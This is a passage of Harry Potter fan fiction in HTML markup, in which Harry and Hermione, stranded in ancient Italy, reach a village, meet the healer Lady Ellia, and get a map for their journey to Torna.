wouldn&#8217;t matter as long as they were together.&nbsp; &#8220;It&#8217;ll take more than death to stop me from getting to you.&#8221;</p>\n\n<p>She pulled back a little staring up into his dirt smudged face, &#8220;I saw everything, felt everything you had even though it was really bad, I knew you were still alive I could feel your strength for survival.&#8221;</p>\n\n<p>After looking at her for a few more moments, he pulled her back tightly into his arms.&nbsp; He felt her rest her cheek against his chest.&nbsp; &#8220;Nothing will keep me from you ever again.&#8221;</p>\n\n<p>&#8220;I&#8217;m so glad that we have found each other.&#8221; Hermione smiled.</p>\n\n<p>Harry was about to say something else when he heard two voices behind him sighing, he turned to look at them.&nbsp; It was if both Enzo and Marcelo had hearts in their eyes, they were looking very sweetly at the two of them.&nbsp; &#8220;What are you two looking at?&#8221;</p>\n\n<p>&#8220;This is so romantic.&#8221; Enzo said with a silly grin.</p>\n\n<p>&#8220;Yeah,&#8221; Marcelo also said with the same far out look in his eyes.</p>\n\n<p>Harry looked at the two of them.&nbsp; &quot;Haven\'t you two got something better to do then watch us?&quot;</p>\n\n<p>Marcelo\'s brows lifted, &quot;Oh and just what do you expect us to watch besides you, where are in the middle of nowhere, not much to see here.&quot;&nbsp; He smirked.</p>\n\n<p>Hermione buried her head in Harry\'s chest again as she felt his arms go around her. She was so hoping to have some moments alone with him later, but she had a feeling that this company was going to be with them for the whole trip.</p>\n\n<p>&quot;Aren\'t you going to introduce us to your lady?&quot; Enzo asked politely while smiling at the back of Hermione\'s head.</p>\n\n<p>Harry cleared his throat and pushed Hermione back a little while grinning at her. &quot;This is Hermione, the girl I told you all about.&quot; He gently turned her to face his new companions.&nbsp; &quot;These two idiots Hermione...&quot;&nbsp; He heard Marcelo scoff yet snicker as well. &quot;...are my new friends I suppose, Enzo and Marcelo&quot; He pointed to each of them.</p>\n\n<p>&quot;Lovely to meet you,&quot; Hermione answered. &quot;And this is Rosa and Meldina,&quot; she gestured to her friends who were looking at Harry with genuine interest. &quot;And...&quot; she turned and made a face. &quot;You already know him.&quot;</p>\n\n<p>&quot;Let me down.&quot; Antony spat angrily.&nbsp; &#8220;I need to stretch my legs.&quot; He added with a touch of bitterness in his voice.</p>\n\n<p>Hermione rolled her eyes but stepped away from Harry to let Marc Antony down. </p>\n\n<p>Harry glared as his twin stood next to the horse.</p>\n\n<p>&quot;Can you untie me now?&quot; He said glaring at the three girls, but avoiding Harry\'s intense glare.</p>\n\n<p>Hermione reluctantly did the ropes and had no sooner stepped back when Harry shot past her.</p>\n\n<p>Harry looked back at Hermione, &quot;Has this fool hurt you in anyway?&quot;&nbsp; His fists were clinched tightly against his thighs.</p>\n\n<p>&quot;No,&quot; Hermione answered. &quot;He\'s just a real prat.&quot;</p>\n\n<p>&quot;Has he taken advantage of you, done anything that would give me a reason to crush his skull?&quot;&nbsp; Harry\'s voice was dangerously calm.</p>\n\n<p>Hermione shook her head wordlessly. &quot;No Harry, I swear.&quot;</p>\n\n<p>Harry nodded, looking back at Antony.&nbsp; &quot;I should kill you for what you had done, sending me to my death I can overlook, but you sent your best friend to die all for what? Because you were being a jerk and sleeping with another\'s woman.&#8221;</p>\n\n<p>Antony had the gall to look bored, he even yawned.&nbsp; &quot;What\'s your point?&quot;</p>\n\n<p>&quot;Harry, come on,&quot; Hermione touched his shoulder. &quot;We should get to the village soon,&quot; she knelt down and looked at him. &quot;We have plenty of time to settle up with him later,&quot; she whispered so only he could hear.</p>\n\n<p>Harry sighed, &quot;Perhaps you&#8217;re right.&quot;</p>\n\n<p>Antony snickered.&nbsp; &quot;You\'re actually listening to what a woman has to say?&quot;</p>\n\n<p>&quot;And just what is wrong with that?&quot; Harry continued to glare.</p>\n\n<p>Hermione\'s brown eyes turned dark. &quot;You\'d be better off listening to a woman, Antony,&quot; she warned. &quot;You don\'t want me angry at you.&quot;</p>\n\n<p>Antony wanted to hurt her, &quot;If you didn\'t have that ridiculous stick I wouldn\'t even be here.&nbsp; But then I really didn\'t mind having your arms around me.&quot;&nbsp; He purred.&nbsp; &quot;I suppose it was worth it.&quot;</p>\n\n<p>Hermione glared and now Harry had to hold her back. After a few moments of him whispering something in her ear she calmed down. &quot;Let\'s go,&quot; she said, grabbing the rope and tying Antony\'s wrists again.</p>\n\n<p>&quot;Do I get to ride you; I mean do I get to ride with you again my dear?&quot; Antony was smirking.</p>\n\n<p>&quot;In your dreams, maybe,&quot; were the first words she could think to say, but as soon as she uttered them, Harry was pummeling Antony into the ground.</p>\n\n<p>Harry was smashing his fist into his look-alike&#8217;s face, and then grabbed him by the shirt.&nbsp; &quot;Don\'t you ever speak her like that again; if you do I will do a lot more than hurt you.&quot;&nbsp; He got up off of Antony and walked back over to Hermione, &quot;I can\'t believe that I was acting like him in this past life.&nbsp; It\'s rightfully disturbing.&quot;&nbsp; He groaned feeling very frustrated.&nbsp; &quot;I can\'t believe I was that bad.&quot;</p>\n\n<p>&quot;At least you\'ve made up for it this lifetime,&quot; Hermione sent him a smile and leaned forward to kiss him briefly.</p>\n\n<p>Enzo and Marcelo snickered and made annoying cat calls.</p>\n\n<p>&quot;Way to go Harry!&quot; Enzo shouted.</p>\n\n<p>&quot;Oooh what else is she going to give you?&quot; Marcelo said in a laughing voice.</p>\n\n<p>Hermione groaned, pulling her mouth from his. &quot;Later?&quot; she asked quietly.</p>\n\n<p>Harry nodded with a smile, &quot;Definitely.&quot;&nbsp; </p>\n\n<p>Marcelo cleared his throat and his expression turned serious.&nbsp; &quot;Lady Hermione where were you three girls heading?&quot;</p>\n\n<p>&quot;To the village,&quot; Hermione answered, nodding her head.</p>\n\n<p>&quot;To Ellia\'s village?&quot; Enzo asked.</p>\n\n<p>&quot;Well our final destination is Torna,&quot; Hermione replied. &quot;But we need to stop there to get supplies, and to figure out how to go from there.&quot;</p>\n\n<p>&quot;Well that&#8217;s where we were heading as well, talk about fate.&quot; Marcelo answered.&nbsp; &quot;Do you believe in fate?&quot;</p>\n\n<p>Antony groaned on the ground feeling the pain shooting through his every nerve.</p>\n\n<p>Hermione looked at Harry, trying to keep the smile from her face, as she found Antony\'s pain humorous.</p>\n\n<p>&quot;What are we going to do with him?&quot;&nbsp; Meldina asked</p>\n\n<p>&quot;Do we even need him anymore?&quot; Rosa also asked.</p>\n\n<p>&quot;Probably not,&quot; Hermione answered, giving the man a disdainful look. &quot;But he\'s good insurance; he may be able to get us out of any trouble we come across,&quot;</p>\n\n<p>Marcelo glared down at Antony. &quot;Put him up here with me, I\'ll make sure nothing too unfortunate happens to him,&quot; He had a certain gleam in his eye, one that was shouting revenge and pain.</p>\n\n<p>&nbsp;The group mounted their horses, and Harry rode his right next to Hermione\'s. She shot him another smile and he took one hand off the reign and gripped hers for a minute. </p>\n\n<p>&quot;The village shouldn\'t be too much further&quot; Meldina said as she started to lead the way.&nbsp; She was hurrying faster than anyone; this village was her home and she was glad to be returning.</p>\n\n<p>&nbsp;They could see the tall pointed fence line of an upcoming village it was very secure from what they could see. There were pretty yellow flowers growing around the fence line.&nbsp; Hearing the sound of a horn blowing they all neared the gate.&nbsp; Harry rode up first as a man in a toga looked down at him.</p>\n\n<p>&#8220;What do you want here traveler?&#8221; The man asked holding out his sword.</p>\n\n<p>&#8220;Hello, we are in need of supplies and rest.&nbsp; We just escaped from Caesar&#8217;s Palace.&#8221;</p>\n\n<p>&#8220;Caesar&#8217;s you say, well then you and your companions are welcome here.&#8221;&nbsp; The turned and looked down.&nbsp; &#8220;Open the gate!&#8221;</p>\n\n<p>The sound of cranks turning was heard as the gate started to swing open.&nbsp; Harry gestured for everyone to move along.&nbsp; Once inside the gate guard was spotted climbing down a very tall ladder and jumping to the ground.&nbsp; </p>\n\n<p>&#8220;Welcome to our village, I hope you find all you need here.&nbsp; Someone will be along to help you get settled in for the night.&#8221;</p>\n\n<p>A group of young boys came forward as Harry and his group dismounted.&nbsp; They smiled and grabbed the reins of the horses.&nbsp; &#8220;Please allow us to take charge of your horses; we have some of the best oats and greens for them.&#8221;&nbsp; One of the younger boys said.</p>\n\n<p>&#8220;Oh how kind of you.&#8221; Hermione said with a smile as she relinquished the reins to the child.</p>\n\n<p>Harry grinned at his girlfriend as she got off the horse. He dismounted his own and reached over, taking her hand in his. </p>\n\n<p>&quot;Are you all right love?&quot; he murmured in her ear. </p>\n\n<p>&quot;Yes,&quot; she answered, turning to give him a quick kiss. &quot;I\'m so glad we\'re together again.&quot;</p>\n\n<p>Harry grinned and was about to respond when a shout made them both look over. Antony was struggling as the young boys attempted to help him off the horse.</p>\n\n<p>&quot;I can get off myself!&quot; he was saying angrily as he tried to move his way around and not fall flat on his face. It was not an easy task with his hands tied together.</p>\n\n<p>&quot;Oh, please, let me assist,&quot; Harry sent a smart ass grin at his look-alike and yanked him down roughly. &quot;There, all down from the horse,&quot; He pushed Antony back hard and the man fell on his behind in the dirt.</p>\n\n<p>Marcelo gave Antony a good kick in the side who curled up into an almost fetal position clutching his side.</p>\n\n<p>&quot;What a pansy,&quot; Harry laughed. He grinned at Marcelo, liking the man more and more as time went by.</p>\n\n<p>Antony struggled to get to his feet, &quot;how dare you refer to me in such a manner, if my hands were unbound I would show how a real man takes action.&#8221;</p>\n\n<p>&#8220;What, show us like you did last time? No thanks, we\'ve got better things to do.&quot; He felt Hermione take his hand and looked back at Marcelo. &quot;You\'ll take care of him?&quot;</p>\n\n<p>Marcelo started cracking his knuckles, &quot;Oh you can rest assured that I will definitely take care of him.&quot;</p>\n\n<p>&quot;Thanks, we\'ll be back in just a little while.&quot; he nodded courteously to Meldina and Rosa, smiling as they grinned first at him, then Hermione, then pulled his girlfriend away from the group.</p>\n\n<p>A woman off in the distance who was collecting water at the fountain in the village square was watching the visitors with great curiosity.</p>\n\n<p>Hermione moved through the village glancing at all the houses which seemed to be made of stone and very sturdy.&nbsp; &quot;Harry?&quot;&nbsp; She looked towards Meldina who was suddenly engrossed in a very tight hug.&nbsp; &quot;Do you think we\'ll ever get home?&quot; She sighed with the longing to see her family.</p>\n\n<p>&quot;Sure we will,&quot; he tried to answer confidently, squeezing her hand for added benefit. &quot;We\'re going to find that amulet and go back... where I\'m going to take a VERY long, hot shower.&quot;</p>\n\n<p>A large smile spread across her face, &quot;I know what you mean, I could use a nice hot bath myself.&quot;&nbsp; Hermione pressed herself up against him.&nbsp; </p>\n\n<p>&quot;Is that an invitation?&quot; he asked lightly, looking down and kissing the top of her brown head affectionately.</p>\n\n<p>&quot;Harry you cheated death how can you make jokes at a time like this?&quot;&nbsp; She shook her head, yet she was amused</p>\n\n<p>He didn\'t respond, only hugged her tighter with one arm as they walked further through the village.</p>\n\n<p>Harry noticed several of the villagers point and begin to whisper. At first he was confused but then he realized that he was being recognized as Antony. &quot;Hermione,&quot; he said quietly. &quot;Maybe we should uh... get out of the street... people think I\'m that jerk back there,&quot; he nodded his head in the direction of the group they had arrived with.</p>\n\n<p>Instead of complying with his request, Hermione cleared her throat.&nbsp; &quot;This is not who you think it is, the one you are talking about is back there!&quot;&nbsp; She shouted pointing to where Marcelo was.&nbsp; She watched as some of the villagers who still looked suspicious dashed away to see what she was talking about.</p>\n\n<p>Harry was still embarrassed, and dragged Hermione over to a nearby shop. &quot;Come on, let\'s start stocking up,&quot; he said, entering the store.</p>\n\n<p>The shop keeper behind the counter was smiling but then stopped upon seeing them.&nbsp;&nbsp; He bowed his head.&nbsp; &quot;My Lord and Lady what brings thee to our humble village?&quot;</p>\n\n<p>&quot;We\'re looking for some supplies to take on a journey,&quot; Harry answered. </p>\n\n<p>&quot;We are but a small shop we have little of what someone of great importance would purchase here.&quot;</p>\n\n<p>&quot;Oh,&quot; Hermione placed a soft hand on the shop keeper\'s shoulder.&nbsp; &quot;We are not who you think we are.&nbsp; We just resemble them that&#8217;s all.&nbsp; Isn\'t that right Harry?&quot;&nbsp; She looked at him.</p>\n\n<p>&quot;That\'s right,&quot; Harry said, growing testy to being known as Antony.</p>\n\n<p>&quot;The resemblance is uncanny, what is this some sort of black magic?&quot;&nbsp; The shop keeper studied Harry\'s face, getting within the younger man\'s personal space.&nbsp; He examined Harry while adjusting his spectacles.</p>\n\n<p>&nbsp; </p>\n\n<p>&quot;No, it\'s not magic,&quot; Harry said irritably. &quot;Can we please just buy some supplies?&quot; he turned on his heel and walked over to a stack of barrels against the wall, trying to control his sudden temper.</p>\n\n<p>&quot;Oh forgive me; I could have sworn I felt some kind of a \'special\' aura about you.&quot;&nbsp; </p>\n\n<p>Harry bit his lower lip as he looked at Hermione. He started rummaging through a carton to find some canteens so they would have water.</p>\n\n<p>&quot;I can assume you are traveling a great distance, what kind of supplies are you in need of?&quot;&nbsp; He said putting his hands on the counter.</p>\n\n<p>Hermione looked at the items on the shelves, &quot;We could use some of those tiny pots there&quot; She pointed.</p>\n\n<p>The door to the shop swung open and in walked Enzo and Marcelo.&nbsp; Hermione turned around to look at them as the shop keeper reached up and got Hermione\'s request.</p>\n\n<p>&quot;What are you two doing in here, where\'s Antony?&quot;</p>\n\n<p>Marcelo smirked, &quot;Oh he&#8217;s just a little tied up at the moment.&quot;</p>\n\n<p>Enzo snickered.&nbsp; &quot;We tied him to a tree while the villagers pelted vegetables and rotten fruits at him.&quot;</p>\n\n<p>Harry grinned. &quot;We should hurry up; I\'d like to take a turn at that.&quot;</p>\n\n<p>&quot;Harry!&quot; Hermione gasped looking at him much like if she were scolding a child.</p>\n\n<p>&quot;What?&quot; Harry asked innocently. &quot;He\'s a prat!&quot;</p>\n\n<p>&quot;Believe me I know he is, but don\'t sink to the level of him.&nbsp; Do you really want to be like him because as of now you are on that path.&quot;</p>\n\n<p>Harry saw that Hermione was on the edge of not speaking to him so he smiled. &quot;I was just joking,&quot; he set several canteens on the counter. &quot;Let\'s get everything else we need.&quot;</p>\n\n<p>A bell jingled above the shop keepers head, &quot;Excuse me a moment would you.&quot;&nbsp; He backed away and opened a door to the left and quickly left through it.</p>\n\n<p>Harry looked at Hermione, who had busied herself with arranging their purchases on the counter, and over at Marcelo and Enzo who were busy with something on the other corner of the room. Slowly, he inched over to the door and began to creak it open.</p>\n\n<p>&quot;Lady Ellia, it will arrive promptly at noon by Hawk transfer.&quot;</p>\n\n<p>&quot;I can not believe my foolish sister even thought of using it without my permission.&quot;&nbsp; She shook her head, while holding a flask of green sparkling crystals. </p>\n\n<p>&quot;At least she has the decency to return it.&quot;</p>\n\n<p>&quot;What?&quot; Harry couldn\'t stop himself from blurting out.</p>\n\n<p>Ellia looked at the direction of the door.&nbsp; &quot;Who are you and how long have you been at that door?&quot;&nbsp; She was irritated.</p>\n\n<p>&quot;I... uh... just now...&quot; Harry felt bad for eavesdropping. He had just wanted to know what was in that back room.</p>\n\n<p>&nbsp;Ellia no longer glared at him, &#8220;Well don\'t just stand there staring at us boy, what have you over heard?&quot;&nbsp; She moved her beautiful white- almost silver hair from off her shoulder.&nbsp; She had no wrinkles at all and looked no older than eighteen years old.&nbsp; Her voice held the wisdom of many years passing</p>\n\n<p>&quot;Just... that your sister used something you didn\'t want her to,&quot; Harry answered ashamedly.</p>\n\n<p>Ellia smiled a little, &quot;What\'s your name? Why are you here in this village?&quot;</p>\n\n<p>&quot;Harry, Harry Potter,&quot; he answered automatically. &quot;My girlfriend and I are looking for the amulet of Torna...&quot; he looked uneasily towards the shopkeeper.</p>\n\n<p>Ellia\'s eyes narrowed in suspicion, &quot;How do you know about the Amulet as well as the city of Torna?&quot;&nbsp; Her tone was accusing.</p>\n\n<p>&quot;Well,&quot; Harry shifted from one foot to the other. He looked at Ellia and realized she reminded him of Nilrem, or Merlin as he had turned out to be. &quot;My girlfriend, Hermione and I were transported here, and were told by Merlin that we needed to get the Amulet of Torna to return to our time.&quot;</p>\n\n<p>&quot;All right I seem to understand if Merlin sent you, I originally thought you were in league with someone else who traveled here not too long ago.&quot;</p>\n\n<p>Harry\'s eyes narrowed. &quot;Voldemort was here...&quot;</p>\n\n<p>&quot;I know not of who you speak, all I know is that a traveler who called himself Thomas Riddleson took a room here and stayed over night, he spoke of powers and frightened many of the villagers.&nbsp; He asked about my sister and when I conversed with him he seemed very cold and distant.&nbsp; In the morning he was gone, as if he was never here.&nbsp; Only the fear of him lingered on.</p>\n\n<p>&quot;Tom Riddle!&quot; Harry exclaimed. &quot;That IS Voldemort! He\'s evil... he\'s the one that brought us here!&quot;</p>\n\n<p>Ellia sighed, &quot;I sensed a great darkness within his soul.&nbsp; Where is it that you hail from?&quot;</p>\n\n<p>&quot;Normally near London, but I go to school in Scotland. We were in Rome when we were brought here though,&quot; Harry ran a hand through his hair.</p>\n\n<p>&quot;I know of an ancient scroll that spoke of such travelers coming from a great distance to restore order to our world.&quot;&nbsp; She smiled.&nbsp; &quot;Could it be there scrolls were speaking of a mere boy such as yourself?&quot;</p>\n\n<p>&quot;I don\'t think you\'re talking about me,&quot; Harry replied, his tone definite. He was tired of being mistaken for other people.</p>\n\n<p>&#8220;We shall see.&#8221; Ellia smiled.</p>\n\n<p>&nbsp;Harry heard shuffling behind him, his Hermione\'s sweet voice echoed in his ear. &quot;Harry, what are you doing back here?&quot;</p>\n\n<p>&quot;Nothing,&quot; he tried to back out of the room but she was already in the doorway.</p>\n\n<p>She looked at him suspiciously, &quot;What are you hiding?&nbsp; What\'s going on?&quot;&nbsp; Her hands planted against her hips as she stared at him waiting for an answer.</p>\n\n<p>&quot;I was just talking to these people, but we can go now,&quot; he tried to take her arm and drag her away from the door.</p>\n\n<p>&quot;Hold up there.&quot;&nbsp; Ellia stepped forward looking right at Hermione.&nbsp; &quot;Come here.&quot;</p>\n\n<p>&quot;What, why?&quot; Hermione backed away from the woman, fearful.</p>\n\n<p>&quot;We\'re leaving,&quot; Harry spoke louder now. </p>\n\n<p>&quot;No Stop!&quot;&nbsp; Ellia shouted, her voice booming like thunder.&nbsp; &quot;This young lady has a lot to deal with, mostly caused by a certain orb that has been created.&quot;</p>\n\n<p>Both Harry and Hermione stopped still. &quot;How did you know about the orbs?&quot; Hermione asked in a shaky voice. Harry moved his arm around her waist in support.</p>\n\n<p>Ellia bowed, &quot;I am Lady Ellia, I created a powerful orb to use for the power of healing, and my sister Lady Ereena created an orb for the power of deception</p>\n\n<p>Harry didn\'t know whether to feel grateful or angry. She obviously was who she said she was, knowing about the orbs. &quot;Your... your sister made the orb of Ereena?&quot; he asked. </p>\n\n<p>&quot;Does she even know what she did to my girlfriend?&quot; his voice shook in rage.</p>\n\n<p>Ellia nodded &#8220;I am aware of all the power each of the orbs held.&nbsp; But how is it that you two have gotten a hold of it? It is sitting in Ereena\'s bedroom as we speak.&#8221;</p>\n\n<p>Harry and Hermione looked at one another. &quot;We... she got it... in the future,&quot; Harry said.</p>\n\n<p>&quot;Come closer.&quot; Ellia beckoned to Hermione with a gentle finger gesture.</p>\n\n<p>Hermione slowly moved forward until she was standing directly in front of Ellia. Harry stood behind her, ready to yank her out of harms way in case this woman was going to do something to her.</p>\n\n<p>&quot;Relax my young ones; I\'m going to help this girl.&quot;&nbsp; Ellia placed the palm of her hand against Hermione\'s forehead.&nbsp; The thoughts of the past year rushed quickly through Hermione\'s head, the effects of the Orb of Ereena seemed to vanish leaving everything else un affected.&nbsp; &quot;I took the depressing feelings that my sister\'s orb inflicted upon you.&nbsp; I did not tamper with anything after you returned the orb to its owner at the time.</p>\n\n<p>Hermione almost seemed to wilt as she nearly toppled backwards. Harry came up behind her and she could feel his strong hands on her upper arms. &quot;I\'m okay Harry,&quot; she said. &quot;I feel... so much better all of a sudden! Better than I have since last summer!&quot;</p>\n\n<p>Ellia smiled, &quot;I think it is about time for the feast, you should both go enjoy it, it looks like you two are in need of nourishment. </p>\n\n<p>&quot;Thank you,&quot; Hermione smiled at the woman, and took Harry\'s hand as they left the shop. </p>\n\n<p>Ellia followed them out, &quot;Before you two retire for the night, come to my hut and we\'ll discuss a few things.&quot;</p>\n\n<p>Hermione nodded and Harry still looked confused as they began to walk away down the street.</p>\n\n<p>Antony was still tied to the tree while his face was covered in tomato and squash and what looked like large purple grape skins and seeds as Marcelo and Enzo stood there laughing at him.</p>\n\n<p>Harry couldn\'t fight back a snigger as well as they joined their group. &quot;He looks better than he did this morning,&quot;</p>\n\n<p>Marcelo nodded, putting his finger to his chin as if he were regarding a work of art.&nbsp; &quot;Red is definitely his color.&quot;&nbsp; </p>\n\n<p>Harry laughed loudly at that as Antony struggled against his bonds. &quot;Shall we leave him here for the night?&quot;</p>\n\n<p>&quot;You can\'t&quot; A woman said, &quot;We have this demon that comes out at night which protects our village, if anyone is caught by it, they are consumed.&#8221;</p>\n\n<p>&quot;I don\'t see anything wrong with that,&quot; Harry tried to look innocent but Hermione elbowed him.</p>\n\n<p>&quot;Harry he may be an absolute jerk and a terror to women, but no one deserves to be eaten by a demon,&quot; she said with narrowed eyes</p>\n\n<p>&quot;All right,&quot; Harry covered hastily. &quot;Where should we stick him then? Stables?&quot;</p>\n\n<p>&quot;How about just the jail?&quot; The woman suggested, &quot;There\'s chains in there and you can keep him locked up.&quot;</p>\n\n<p>&quot;Sounds good to us,&quot; Harry answered for all of them. &quot;Thank you very much.&quot;</p>\n\n<p>&quot;Harry cut the ropes.&quot; Marcelo said as he and Enzo bent down to grab Antony by the arms</p>\n\n<p>Harry did as instructed and Antony stood up, glaring at all of them. Harry smirked in his look-alike&#8217;s face before shoving him along the path.</p>\n\n<p>Hermione watched as the many people were had finished setting up a large table in the center of the village for a great feast.</p>\n\n<p>His stomach rumbling loudly, Harry pulled on Hermione\'s arm towards the tables. &quot;I\'m starving,&quot; he said unnecessarily.</p>\n\n<p>&quot;Me too&quot; Hermione said looking down at all the food.&nbsp; &quot;Wow there is so much; it almost reminds me of Hogwarts&quot;</p>\n\n<p>&quot;Should we just fall in line here?&quot; Harry asked.</p>\n\n<p>A man passing them nodded hearing Harry\'s question, &quot;Yeah just grab a plate and help yourselves to anything&quot;</p>\n\n<p>&quot;Thank you,&quot; Harry nodded at the man. He quickly did as was said and soon was heaping his plate full of food.</p>\n\n<p>Hermione was doing the same, only she had twice as much on her plate than Harry did,&nbsp; she took a glace at his plate and started heaping on more food as if it were a contest on who had the most. Harry grinned at her as they found seats next to one another.</p>\n\n<p>Hermione breathed in the scent of the food on her plate, &quot;This all smells so good, they barely fed us at, well you know where.&quot;&nbsp; She said picking up her fork and sticking it into a piece of chicken. Harry\'s mouth was too full to answer so he just nodded.</p>\n\n<p>Soon the feast was over and people started retiring to their homes. &quot;Remember Ellia wanted to speak with us, where do you suppose her house is?&quot;&nbsp; Hermione looked around.</p>\n\n<p>&quot;I\'m not sure,&quot; Harry replied. &quot;I don\'t really want to disturb anyone.&quot;</p>\n\n<p>Meldina appeared behind them, &quot;Ellia\'s home is that one.&quot;&nbsp; She pointed.</p>\n\n<p>&quot;Thank you.&quot; Hermione and Harry started heading in that direction. Upon reaching the door, Harry raised his hand and knocked softly. </p>\n\n<p>&nbsp;&quot;The door is open.&quot; A voice from inside said.</p>\n\n<p>Hermione pushed the door and they stepped inside, upon entering the house, they found Ellia, kneeling on the floor, meditating.</p>\n\n<p>&quot;Uh... hello?&quot; Harry asked uncertainly.</p>\n\n<p>&#8220;Come inside; don\'t linger in the doorway, its rude.&quot;&nbsp; She said with her eyes closed.&nbsp; The jasmine scented incense burned slowly creating a pleasant atmosphere that calmed people\'s nerves.</p>\n\n<p>Hand in hand, they hesitantly came into the room. &quot;Where... where should we sit?&quot; Harry asked.</p>\n\n<p>Ellia stood up and pulled out her wand from her drawer and started a fire in the fireplace which lit up the room.&nbsp; &quot;At the table&quot; She pointed and smiled.</p>\n\n<p>Hermione quickly took her seat and Harry followed suit, pulling his chair as close to Hermione\'s as possible.</p>\n\n<p>&quot;Would you two like some tea?&quot; Ellia stepped near her tea kettle and glanced at the two of them.</p>\n\n<p>Hermione shook her head, &quot;No I\'m all right.&quot;</p>\n\n<p>&quot;No thank you,&quot; Harry replied as well. &quot;What do you want us here for?&quot;</p>\n\n<p>Ellia sat down with her tea cup, &quot;Are you two in a rush or something, you two need to relax.&quot;&nbsp; She sat down across from them.&nbsp; &quot;Tell me about yourselves, especially what time in the future you come from.&quot;&nbsp; She looked at Harry for the answer.</p>\n\n<p>&quot;We\'re from the twentieth century,&quot; Harry replied. &quot;We were on vacation in Rome when we were transported here by that Tom Riddle you mentioned earlier.&quot;</p>\n\n<p>&quot;You two are obviously on a journey, where is that you are heading?&quot;&nbsp; Ellia lifted the tea cup to her lips taking a small sip of the steaming liquid.</p>\n\n<p>&quot;We are heading to the city of Torna where there is a transport device that will allow us passage home.&quot;&nbsp; Hermione answered with a sigh.</p>\n\n<p>&quot;Torna, that is very far from here.&nbsp; Do you even have any idea of how you will get there?&quot;&nbsp; Ellia leaned back in her chair folding her arms over her bosom.</p>\n\n<p>&quot;We have a group that has agreed to travel with us,&quot; Harry replied. &quot;And... we have a hostage....&quot;</p>\n\n<p>&quot;That&#8217;s how you are going to get to Torna?&quot; She was amused.</p>\n\n<p>&#8220;Yes,&quot; Harry replied defensively.</p>\n\n<p>Ellia shook her head, &quot;How do you know you won\'t end up in Greece; you need some kind of direction.&quot;&nbsp; She stood and hurried over to a drawer and pulled it open retrieving a map and bringing it back to them.&nbsp; &quot;Here I think this might come in handy.&quot;&nbsp; She spread it out for them to look over.</p>\n\n<p>&quot;Wow!&quot; both of them said at once.&nbsp;&nbsp;&nbsp; The map was rather large and it had markings on it of the dangerous areas of Italy.&nbsp; But Harry pretty much could see exactly how to get to Torna even though there were several different paths to the city.&nbsp; But Ellia pointed to the exact path that they need to take.</p>\n\n<p>&nbsp;&quot;This path you must not stray from, you will be traveling directly through Griffin territory.&#8221;</p>\n\n<p>&quot;Griffin?&quot; Harry asked. &quot;As in Gryffindor?&quot;</p>\n\n<p>Ellia shook her head, &quot;No as in the beast,&quot; She pointed again.&nbsp; &quot;Here you must be very careful of sprites and ferries, they will deceive you, and you must not listen to a word they say.&quot;</p>\n\n<p>Harry and Hermione nodded. &quot;All right,&quot; he answered. &quot;Anything else?&quot;</p>\n\n<p>&quot;You\'ll need winter furs,&nbsp; you\'ll be going through the mountains before reaching Torna, its always covered in snow and ice, Yetis live among the caves there so be careful.&quot;</p>\n\n<p>Harry looked at his girlfriend. This journey sounded bleaker and bleaker by the moment. Hermione sighed, feeling tired already.</p>\n\n<p>&#8220;Oh my dears do not despair, you will make it. I have the utmost faith in the both of you.&#8221;&nbsp; Ellia said placing her hands on top of theirs.&nbsp;&nbsp; &#8220;Now do you have any questions for me?&#8221;</p>\n\n<p>Hermione had a few; she looked up at Ellia, &#8220;I might have a few, mostly concerning your sister and her orb.&#8221;&nbsp; She waited for the permission in Ellia&#8217;s eyes and she continued.&nbsp; &#8220;What kind of a person would create something so evil, to hurt people.&#8221;&nbsp; She sighed.</p>\n\n<p>&#8220;Well I think you already know that answer my dear, people do whatever they can to achieve absolute power.&nbsp; But in the case of my sister, she is the exact opposite of me.&nbsp; The evil twin theory applies here, she has hair as black as midnight, eyes as dark as obsidian. It is as if she has no soul and I&#8217;m almost sure that she doesn&#8217;t.&#8221;&nbsp; Ellia sighed, &#8220;We have never got along as children, and we are even competing now.&nbsp;&nbsp; We have so many troubles to deal with, but I suppose that happens when your mother falls in love with a demon.&#8221;</p>\n\n<p>&#8220;I&#8217;m sorry to hear that.&#8221; Hermione said.</p>\n\n<p>Ellia smiled a little, &#8220;You have nothing to be sorry for.&nbsp; She is my sister and she will be dealt with by me when the time is right.&#8221;&nbsp; She avoided telling them about Ereena&#8217;s territory which they will be passing through, there are just some things they are not to be warned about to see their real potential. Especially if this boy was the one the ancient scrolls spoke about.&nbsp; She would wait and see. Ellia then looked at Hermione, &#8220;Have you any more questions?&#8221;</p>\n\n<p>&#8220;No,&#8221; Hermione answered.&nbsp; &#8220;We should be getting on; we need to find an inn or something to stay in for the night.&#8221;</p>\n\n<p>With a nod Ellia stood, &#8220;Well there is one across the way.&#8221; She pointed out the window for both Harry and Hermione to see.&nbsp; &#8220;They don&#8217;t charge that much, you&#8217;ll find their price affordable.&#8221;</p>\n\n<p>Harry rolled up the map and held it tightly in his hand as he also stood.&nbsp; &#8220;Thank you for the map and information.&#8221;</p>\n\n<p>&#8220;Anytime, &#8220;Ellia smiled and watched as the two left her home and headed for the inn.</p>\n\n<p>Meldina was slowly enjoying the food, much of which she hardly received while being enslaved.&nbsp; No more scraps for her it was real food now.&nbsp; She licked her lips and moved in for her custard tort.&nbsp; She lifted the bowl and put it in front of her. </p>\n\n<p>Marcelo sat a few feet away, admiring the way Meldina ate.&nbsp; He was ashamed to admit that such a beautiful woman had escaped his sight for so long. Brushing back his hair, he sauntered over and sat down right next to her. &quot;Well hello there,&quot; he said in his deepest voice.</p>\n\n<p>Meldina had just lifted the utensil to her lips and stopped in mid air hearing a voice.&nbsp; She looked up at him &quot;Hello.&quot;&nbsp; She didn\'t want to really talk to this person; she was more interested in the food.&nbsp; </p>\n\n<p>&#8220;I can\'t believe I haven\'t seen you around the palace before,&quot; Marcelo grinned appealingly. &quot;Been there long?&quot;</p>\n\n<p>&quot;Long enough,&quot; She stuck a bit of her tort into her mouth.</p>\n\n<p>Marcelo looked over at Enzo, who was smirking at him while talking to Rosa. He didn\'t understand why Meldina wasn\'t falling to his charms right away- most other women did. &quot;So what are you doing later?&quot;</p>\n\n<p>Meldina rolled her eyes, &quot;Sleeping.&quot; </p>\n\n<p>&quot;Well before that how about a roll in the hay over there?&quot; Marcelo nodded his head in the direction of the stables and eagerly anticipated her answer.</p>\n\n<p>Meldina was shocked but she didn\'t let it show on her face, she simply stood and moved really close to him.&nbsp; With a smile on her face she lifted her custard and shoved it in his face, smearing it around.&nbsp; With that same smile she turned on her heels and stalked away from him.</p>\n\n<p>&quot;Wha...&quot; Marcelo angrily wiped custard from his face. &quot;Why did she do that?&quot; he asked no one in particular. He looked down the table and saw Enzo and Rosa laughing at 